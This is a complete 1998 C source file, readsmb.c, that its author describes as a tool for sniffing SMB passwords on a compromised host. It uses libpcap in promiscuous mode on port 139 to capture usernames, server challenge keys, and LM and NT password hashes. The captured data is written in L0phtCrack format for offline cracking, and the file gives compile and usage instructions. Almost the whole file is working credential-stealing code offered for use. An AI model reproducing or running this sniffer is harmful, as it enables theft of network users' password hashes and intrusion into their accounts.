www.pudn.com > readsmb.zip > readsmb.c


 
/* http://www.cotse.com  Fear the swimming Elephant! */ 
 
/* readsmb.c v0.56 
 * by the basement research  5/29/98 
 * 
 * Many thanks to L0pht Heavy Industries - without L0phtcrack this is worthless. 
 *  
 * An implementation of the SMB sniffer that comes with l0phtcrack 2.0.  The  
 * purpose here is to provide an effective means of sniffing SMB passwords on  
 * a compromised host. Its too hard to execute a sniffer on a remote host with  
 * only an NT version available.  
 *  
 * If you don't have libpcap, you'll need to get it - its at ftp.ee.lbl.gov. 
 * (Has there ever been a more useful government service than this?) 
 * Tested on Linux 2.0.x (glibc1 and 2), and FreeBSD.  It will compile on  
 * Slow-aris, but it is totally untested (there will be a byte-ordering issue).  
 *  
 * This is pretty crude but functional.  I still don't even know what the second 
 * field of the sniff file is for (the program simply inserts a '3').  I tested  
 * this with Win95, WinNT, and Samba clients (both smbclient LANMAN2 and NT1).   
 * I don't think it grabs the correct string for Administrator, because LC  
 * couldn't crack it (sometimes the real readsmb didn't seem to get it either  
 * - and sometimes it seemed to drop the username.  readsmb also didn't seem  
 * to always work for LANMAN2 protocol, this does).    
 * 
 * The start_pcap() function was taken from "UNIX Network Programming -  
 * Networking APIs : Sockets and XTI" by Richard Stevens (great book.)  
 * 
 * Officially dedicated to Nikki Steele.  
 * 
 * Fbhepr pbqr vf fcrrpu! 
 *                                                    jose chung 
 *                                                    the basement research 
 * 
 * To compile : 
 * cc -o readsmb readsmb.c -lpcap 
 * Usage : 
 * ./readsmb [output file] (otherwise to stdout) 
 */ 
 
#include  
#include  
#include  
#include  
#ifdef __FreeBSD__ 
#include  
#endif /* __FreeBSD__ */ 
#ifdef __sun			/* Solaris 2.x */ 
#define u_int32_t uint32_t 
#include  
#endif /* Not FreeBSD, not Solaris.  Our default is Linux */ 
#include  
#include "pcap.h" 
 
#define FILTER_CMD      "src port 139 or dst port 139" 
#define TRUE    (1) 
 
#define LM_PROT         0x0D 
#define NT_PROT         0x11 
 
#define SMB_SK_COMMAND  0x72 
#define SMB_PW_COMMAND  0x73 
#define TIMEOUT_VALUE   500 
 
#define PW_OFFSET_NT12  105 
#define PWNT_OFFSET_NT12        129 
#define SK_OFFSET_NT12  112 
#define USER_OFFSET_NT12        129 
 
#define PWNT_OFFSET_LM2 75 
#define PW_OFFSET_LM2   99 
#define SK_OFFSET_LM2   104 
#define USER_OFFSET_LM2 123 
 
#define SMB_PORT        139 
 
FILE *log = NULL; 
char *device; 
struct pcap_pkthdr hdr; 
pcap_t *pfd;			/* File descriptor for pcap */ 
u_short link_offset = 0;	/* 0 if device = ppp0, 14 if device = eth0 */ 
int current_pkt_type = 0; 
int neg_prot, pw_offset, sk_offset, user_offset; 
 
void * 
killed (int sig) 
{ 
  fflush (log); 
  if (log != NULL) 
    fclose (log); 
  exit (0); 
} 
 
char * 
check_pkt (char *pkt) 
{ 
  static u_short port; 
  static u_char cmd; 
  char *extracted; 
  char *discard = NULL; 
  u_short *port_ext; 
 
  if ((extracted = (char *) malloc (sizeof (char))) == NULL) 
    { 
      puts ("Error allocating memory."); 
      exit (0); 
    } 
  if ((port_ext = (u_short *) malloc (sizeof (u_short))) == NULL) 
    { 
      puts ("Error allocating memory."); 
      exit (0); 
    } 
  memcpy (extracted, (pkt + 48), sizeof (u_char)); 
  memcpy (port_ext, (u_short *) (pkt + 20), sizeof (u_short)); 
  port = ntohs (*((u_short *) port_ext)); 
  cmd = *((u_char *) extracted); 
  if (current_pkt_type == SMB_PW_COMMAND && (((int) cmd == SMB_PW_COMMAND) && (!(port == SMB_PORT)))) 
    { 
      free (extracted); 
      free (port_ext); 
      return (pkt); 
    } 
  if (current_pkt_type == SMB_SK_COMMAND && (((int) cmd == SMB_SK_COMMAND) && (port == SMB_PORT))) 
    { 
      free (extracted); 
      free (port_ext); 
      return (pkt); 
    } 
  free (extracted); 
  free (port_ext); 
  return (discard); 
} 
 
char * 
grab_pcap () 
{ 
  char *pptr = NULL; 
  char *checked_pptr; 
 
  while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL); 
  pptr = pptr + link_offset; 
  checked_pptr = check_pkt (pptr); 
  return (checked_pptr); 
} 
 
char * 
grabber_loop () 
{ 
  char *grabbed_pkt = NULL; 
 
  while (grabbed_pkt == NULL) 
    { 
      grabbed_pkt = grab_pcap (); 
    } 
  return (grabbed_pkt); 
} 
 
void 
start_pcap () 
{ 
 
  char cmd[80]; 
  int psize, datalink; 
  struct bpf_program fcode; 
  u_int localnet, netmask; 
  char errbuf[PCAP_ERRBUF_SIZE]; 
  char link[] = "ppp0"; 
 
  psize = 300;			/* I'm not even sure what this does.   Did this come from Stevens too? */ 
 
  if ((device = pcap_lookupdev (errbuf)) == NULL) 
    { 
      printf ("pcap_lookupdev : %s\n", errbuf); 
      exit (-1); 
    } 
  if (strcmp (device, link) == 0) 
    { 
      link_offset = 0; 
    } 
  else 
    link_offset = 14; 
  printf ("Selected network device %s\n", device); 
  if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf)) 
      == NULL) 
    { 
      printf ("pcap_open_live : %s\n", errbuf); 
      exit (-1); 
    } 
  puts ("Opened device successfully."); 
  if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0) 
    { 
      printf ("pcap_lookupnet : %s\n", errbuf); 
      exit (-1); 
    } 
  snprintf (cmd, sizeof (cmd), FILTER_CMD); 
  printf ("Applying filter : %s\n", &cmd); 
  if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0) 
    { 
      printf ("pcap_compile : %s\n", pcap_geterr (pfd)); 
      exit (-1); 
    } 
  if (pcap_setfilter (pfd, &fcode) < 0) 
    { 
      printf ("pcap_setfilter : %s\n", pcap_geterr (pfd)); 
      exit (-1); 
    } 
  if ((datalink = pcap_datalink (pfd)) < 0) 
    { 
      printf ("pcap_datalink : %s\n", pcap_geterr (pfd)); 
      exit (-1); 
 
    } 
  printf ("The datalink is type %d\n", datalink); 
} 
 
char * 
byte_convert_sk (char *pkt) 
{ 
  char *pc1, *pc2, *pc3; 
  u_long num1, num2, num3; 
  char *converted; 
 
  pc1 = (char *) malloc (sizeof (int)); 
  pc2 = (char *) malloc (sizeof (int)); 
  pc3 = (char *) malloc (sizeof (int)); 
  converted = (char *) malloc (17); 
  bzero (converted, 17); 
  neg_prot = get_prot (pkt);	/* This doesn't belong here. */ 
  if (neg_prot == LM_PROT) 
    { 
      pw_offset = PW_OFFSET_LM2; 
      sk_offset = SK_OFFSET_LM2; 
      user_offset = USER_OFFSET_LM2; 
    } 
  if (neg_prot == NT_PROT) 
    { 
      pw_offset = PW_OFFSET_NT12; 
      sk_offset = SK_OFFSET_NT12; 
      user_offset = USER_OFFSET_NT12; 
    } 
  memcpy (pc1, (pkt + sk_offset), sizeof (int)); 
  memcpy (pc2, (pkt + (sk_offset + 4)), sizeof (int)); 
  memcpy (pc3, (pkt + (sk_offset + 8)), sizeof (int)); 
  num1 = ntohl (*((u_long *) pc1)); 
  num2 = ntohl (*((u_long *) pc2)); 
  num3 = (u_long) ntohl (*((u_long *) pc3)); 
  num1 = (num1 << 8) >> 8; 
  num3 = num3 >> 24; 
  sprintf (converted, "%.6x%.8x%.2x", num1, num2, num3); 
  free (pc1); 
  free (pc2); 
  free (pc3); 
  return (converted); 
} 
 
int 
get_prot (char *pkt) 
{ 
  u_char *prot_code; 
  int code = 0; 
 
  prot_code = (u_char *) malloc (sizeof (u_char)); 
  memcpy (prot_code, (pkt + 76), 1); 
  code = (int) *prot_code; 
  return (code); 
} 
 
 
char * 
byte_convert_user (char *pkt) 
{ 
  char *pc1; 
 
  pc1 = (char *) malloc (49); 
  bzero (pc1, 49); 
  strcpy (pc1, (pkt + user_offset)); 
  return (pc1); 
} 
 
char * 
byte_convert_pw (char *pkt, int run) 
{ 
  char *lmhash; 
  char *pc1, *pc2, *pc3, *pc4, *pc5, *pc6; 
  u_int num1, num2, num3, num4, num5, num6; 
 
  lmhash = (char *) malloc (49); 
  bzero (lmhash, 49); 
  if ((run == 2) && (neg_prot == NT_PROT)) 
    { 
      pw_offset = PWNT_OFFSET_NT12; 
    } 
  if ((run == 2) && (neg_prot == LM_PROT)) 
    { 
      pw_offset = PWNT_OFFSET_LM2; 
    } 
  pc1 = (char *) malloc (sizeof (u_int)); 
  pc2 = (char *) malloc (sizeof (u_int)); 
  pc3 = (char *) malloc (sizeof (u_int)); 
  pc4 = (char *) malloc (sizeof (u_int)); 
  pc5 = (char *) malloc (sizeof (u_int)); 
  pc6 = (char *) malloc (sizeof (u_int)); 
  memcpy (pc1, (pkt + pw_offset), 4); 
  memcpy (pc2, (pkt + (pw_offset + 4)), 4); 
  memcpy (pc3, (pkt + (pw_offset + 8)), 4); 
  memcpy (pc4, (pkt + (pw_offset + 12)), 4); 
  memcpy (pc5, (pkt + (pw_offset + 16)), 4); 
  memcpy (pc6, (pkt + (pw_offset + 20)), 4); 
  num1 = ntohl (*((u_int *) pc1)); 
  num2 = ntohl (*((u_int *) pc2)); 
  num3 = ntohl (*((u_int *) pc3)); 
  num4 = ntohl (*((u_int *) pc4)); 
  num5 = ntohl (*((u_int *) pc5)); 
  num6 = ntohl (*((u_int *) pc6)); 
  sprintf (lmhash, "%.8x%.8x%.8x%.8x%.8x%.8x", num1, num2, num3, num4, num5, num6); 
  free (pc1); 
  free (pc2); 
  free (pc3); 
  free (pc4); 
  free (pc5); 
  free (pc6); 
  return (lmhash); 
} 
 
void 
main (int argc, char **argv) 
{ 
  char *cur_pkt, *next_pkt; 
  char *sk, *user, *pw, *ntpw, *output; 
 
  signal (SIGINT, killed); 
  signal (SIGTERM, killed); 
  signal (SIGKILL, killed); 
  signal (SIGQUIT, killed); 
 
  if (argc > 2) 
    { 
      printf ("Usage : %s [output file]\n", *argv); 
      exit (0); 
    } 
  if (argc == 1) 
    { 
      log = stdout; 
    } 
  else 
    log = fopen (argv[1], "w"); 
 
  if ((argc == 2) && (!log)) 
    { 
      puts ("Error opening logfile."); 
      exit (0); 
    } 
  start_pcap (); 
  while TRUE 
    { 
      output = (char *) malloc (172); 
      bzero (output, 172); 
      current_pkt_type = SMB_SK_COMMAND; 
      cur_pkt = grabber_loop (); 
      sk = byte_convert_sk (cur_pkt); 
      current_pkt_type = SMB_PW_COMMAND; 
      next_pkt = grabber_loop (); 
      user = byte_convert_user (next_pkt); 
      pw = byte_convert_pw (next_pkt, 1); 
      ntpw = byte_convert_pw (next_pkt, 2); 
      strcat (output, user); 
      strncat (output, ":3:", 3); 
      strcat (output, sk); 
      strncat (output, ":", 1); 
      strcat (output, pw); 
      strncat (output, ":", 1); 
      strcat (output, ntpw); 
      fprintf (log, "%#s\n", output); 
      fflush (log); 
      free (output); 
    } 
}